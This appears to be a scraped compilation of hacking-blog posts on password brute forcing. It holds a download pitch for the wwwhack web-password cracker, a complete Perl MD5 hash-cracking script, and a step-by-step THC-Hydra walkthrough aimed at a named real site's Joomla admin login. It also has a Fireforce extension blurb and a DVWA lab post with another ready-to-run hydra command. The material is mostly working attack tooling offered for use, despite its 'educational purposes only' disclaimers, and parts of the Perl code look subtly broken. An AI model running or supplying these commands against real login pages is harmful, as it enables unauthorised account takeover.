wwwhack 1.9 – Download wwwhack19.zip Web Hacking Tool

WWWhack is a brute force utility that will try to crack web sites guarded by an web access password. This utility can use a word file or try all possible combinations, and by trial-and-error, will attempt to find a combination of username/password that is accepted by the web server.

This shows the weakness in securing sensitive areas of your web site by the web authentication method alone.

To use wwwhack 1.9 you need to set your system clock to the year 2000 or before as it expires in ’2001′.

Once again this is an oldskool tool but a lot of people are still seeking it, for learning purposes I presume as there are better alternatives now like thc-hydra.

You can download wwwhack 1.9 here.

[PERL] Md5 Brute Force Script

PHP Code:

#!/usr/bin/perl

# * md5crack.pl
# *Usage:
# *./md5crack <charset> <mincount> <maxcount> <yourMD5>
# *nUm/b0

$ver = "01"; $dbgtmr = "1"; #Intervall of showing the current speed + lastpassword in seconds.
if ($dbgtmr<=0){ die "Set dbgtmr to a value >=1 !\n";};
use Digest::MD5 qw(md5_hex);
use Time::HiRes qw(gettimeofday);

if ($ARGV[0]=~"a") { $alpha = "abcdefghijklmnopqrstuvwxyz";}
if ($ARGV[0]=~"A") { $alpha = $alpha. "ABCDEFGHIJKLMNOPQRSTUVWXYZ";}
if ($ARGV[0]=~"d") { $alpha = $alpha."1234567890";}
if ($ARGV[0]=~"x") { $alpha = $alpha. "!\"\$%&/()=?-.:\\*'-_:.;,";}

if ($alpha eq "" or $ARGV[3] eq "") {usage();};
if (length($ARGV[3]) != 32) { die "Sorry but it seems that the MD5 is not valid!\n";};

print "Selected charset for attack: '$alpha\'\n";
print "Going to Crack '$ARGV[3]'...\n";

for (my $t=$ARGV[1];$t<=$ARGV[2];$t++){ crack ($t);
}
sub usage{
print "\n\nMD5 Hash Bruteforce Kit v_$ver\n";
print "by unix_chro alias backtrack (311733@yahoo.com)\n";
print "Member in staff leader:elite-members,ubuntu-hackers\n\n";
print "USAGE\n";
print "./md5crack <charset> <mincount> <maxcount> <yourMD5>\n";
print " Charset can be: [aAdx]\n";
print " a = {'a','b','c',...}\n";
print " A = {'A','B','C',...}\n";
print " d = {'1','2','3',...}\n";
print " x = {'!','\"',' ',...}\n";
print "EXAMPLE FOR CRACKING A MD5 HASH\n";
print "./md5crack.pl ad 1 3 900150983cd24fb0d6963f7d28e17f72\n";
print " This example tries to crack the given MD5 with all lowercase Alphas and all digits.\n";
print " MD5 Kit only tries combinations with a length from 1 and 3 characters.\n-------\n";
print "./md5crack.pl aA 3 3 900150983cd24fb0d6963f7d28e17f72\n";
print " This example tries to crack the given MD5 with all lowercase Alphas and all uppercase Alphas.\n";
print " MD5 Kit only tries passwords which length is exactly 3 characters.\n-------\n";
print "./md5crack.pl aAdx 1 10 900150983cd24fb0d6963f7d28e17f72\n";
print " This example tries to crack the given MD5 with nearly every character.\n";
print " MD5 Kit only tries combinations with a length from 1 to 10 characters.\n";
die "Quitting...\n";
}
sub crack{ $CharSet = shift;
@RawString = ();
for (my $i =0;$i<$CharSet;$i++){ $RawString[i] = 0;} $Start = gettimeofday();
do{
for (my $i =0;$i<$CharSet;$i++){
if ($RawString[$i] > length($alpha)-1){
if ($i==$CharSet-1){
print "Bruteforcing done with $CharSet Chars. No Results.\n"; $cnt=0;
return false;
} $RawString[$i+1]++; $RawString[$i]=0;
}
} ################################################## # $ret = "";
for (my $i =0;$i<$CharSet;$i++){ $ret = $ret . substr($alpha,$RawString[$i],1);} $hash = md5_hex($ret); $cnt++; $Stop = gettimeofday();
if ($Stop-$Start>$dbgtmr){ $cnt = int($cnt/$dbgtmr);
print "$cnt hashes\\second.\tLast Pass '$ret\'\n"; $cnt=0; $Start = gettimeofday();
}
print "$ARGV[3] != $hash ($ret)\n";
if ($ARGV[3] eq $hash){
die "\n**** Password Cracked! => $ret\n";
} ################################################## #
#checkhash($CharSet)."\n";
$RawString[0]++;
}while($RawString[$CharSet-1]<length($alpha));
}
sub checkhash{ $CharSet = shift; $ret = "";
for (my $i =0;$i<$CharSet;$i++){ $ret = $ret . substr($alpha,$RawString[$i],1);} $hash = md5_hex($ret); $cnt++; $Stop = gettimeofday();
if ($Stop-$Start>$dbgtmr){ $cnt = int($cnt/$dbgtmr);
print "$cnt hashes\\second.\tLast Pass '$ret\'\n"; $cnt=0; $Start = gettimeofday();
}

if ($ARGV[3] eq $hash){
die "\n**** Password Cracked! => $ret\n";
}

}  

Very fast and works nicely. * Thought i'd share, could be useful to anyone learninG perl. Enj0y ! *\m/ 

tx2 #Xdem0






~./Supp0rT#:
http://www.activestate.com/activeperl/
http://www.perl.com/download.csp

Using Fireforce to brute-force web login forms

This will give you an idea on how to brute force http forms with THC-Hydra This is a continuation from How to brute force your router so if you havn\'t read it check it out !!! Watch the video for a live example.

IMPORTANT: This is for educational purposes only, dont go around attacking sites, thats how you get into trouble

In this example I will be brute forcing an admin account on this site which has been setup just for this (the user has already been deleted).
The url I will be using in this example is http://www.sillychicken.co.nz/administrator/ which is the path to the Joomla admin login page.

Video best viewed in full screen mode (icon between timer and volume)

BACKGROUND:
A couple of things that need to be identified:

• Postback page
• Post Parameters
• Failed attempt unique text

Post back page

This is normally the same page as the login but not always so. So just view the source code of the page and find the form with a method="post". The action value is the page which the values will be "posted" to.


This is the section from the administrator login page for Joomla:

As you can see the page to post to is "index.php"


Post Parameters


These can be found by viewing the source code of the login page. All tags within the form will be posted.


The post name will be the "name" attribute of the tag. The value will be the "value" attribute if it has one defined.


Alternativly you can use firefox with the Tamper Data extension which works great.

Failed attempt unique text


This is text that is found on the webpage when a login attempt fails. This text must be exclusive to a failed login attempt.




Putting it all together:


The site:


www.sillychicken.co.nz/administrator/


The post back page:


index.php






The postback values are:


usrname=(user input)


pass=(user input)


submit=Login






which have been extracted from the page source:




Now if we try to login into the admin page we get a javascript popup which says "Incorrect Username, Password ......"


"Incorrect Username" sounds like text that would not show up, had it been a successful login so we will use this.

Let's combine it all into hydra:






hydra -l {username} -P {password list path} -s {port} -f {Site Address} http-post-form


"{Path to postback page}:{USERNAME_NAME}=^USER^&{PASSWORD_NAME}=^PASS^:{failed login text}"



My command looks like:


hydra -l hydra -P password.lst -s 80 -f www.sillychicken.co.nz http-post-form "/administrator/index.php:usrname=^USER^&pass=^PASS^&submit=Login:Incorrect Username"




Command break down:

hydra --> The hydra program
-l --> (lower case "L" not to be confused with a upper case i) single username to target. Use uppercase -L to specify a username list) i have setup the "hydra" account for this demo and has already been deleted
-P --> Provide path to password lis. -p to try a single password ie "passw0rd"
-s --> Port to target default port for http is 80
-f --> Exits the program after the first match is made

{Site Address} I.E www.sillychicken.com. Do not include http://
http-post-form --> service to brute force. Hydra README has the command as http-form-post       using that will give you an error
{Path to postback page} everything after the site address must start with "/"
{USERNAME_NAME} --> the name of the username postback variable
^USER^ --> this will be replaced with the username specified by -l or -L username list
^PASS^ --> this will be replaced with the password from the defined list
{Failed login text} --> text that will only be found in a failed login
note* ensure quotes are from after http-post-form " TO END OF COMMAND


You will get an output line with username and password if you are successful.
Watch the video for a live example.
This attack is only as good as your dictionary .
Next how to brute force web forms, make sure to come back and check it out!!



IMPORTANT: This is for educational purposes only, dont go around attacking sites, thats how you get into trouble

Fireforce - Firefox brute-force attack extension

Fireforce is a Firefox extension designed to perform brute-force attacks on GET and POST forms

Fireforce can use dictionaries or generate passwords based on several character types. Attacks can be performed on two separate fields using two distinct password sources.

Download: Fireforce and Documentation

Using Fireforce to brute-force web login forms

Web Form Password Brute Force with FireForce

I spent many hours today playing around with DVWA – (Damn Vulnerable Web App), fromRandomstorm, brushing up on my web app pentesting skills, to be honest its been a long time and I really need to get back on top of this.

Anyways, after going through all the usual SQL injection, XSS stuff I thought I’d have a go at the brute forcing part of the app.

Well after what seemed like days I gave up, with little or no success – I’d tried the usual suspect for ‘bruting’ the password – Hydra.

Until I Googled around and found a Firefox addon called ‘Fireforce’ the article that I found is here Dark Reading

The website for the tool is here SCRT ,there is a manual in english too.

What the extension does is finds out the fields for the brute force attack in the web page source code, an automated way rather than reading through it manually, and then tries to brute force using your wordlists.

You can view the source code for the webpage by right clicking on the page and selecting View page source.

Here you can pick out the form action ‘GET’ and the password, username  and submit info.

This is what you would normally feed into Hydra, as shown here:-

hydra -l admin -P wordlist.txt -f -v 192.168.124.123 http-get-form “/vulnerabilities/brute/:username=^USER^&password=^PASS^&submit=Login:Username and/or Password incorrect.”

So to Fireforce, best read the manual for all options, but really all you have to do once its installed is right click in the fields for username and password and load up your wordlists for usernames and passwords and let it rip.

Et Viola

*******Edit********

After a bit more reading after publishing this post, I found out that Hydra falls a little short when dealing with web forms, an article I found on the excellent Attack Vector blog, Mat also had issues with Hydra and web forms.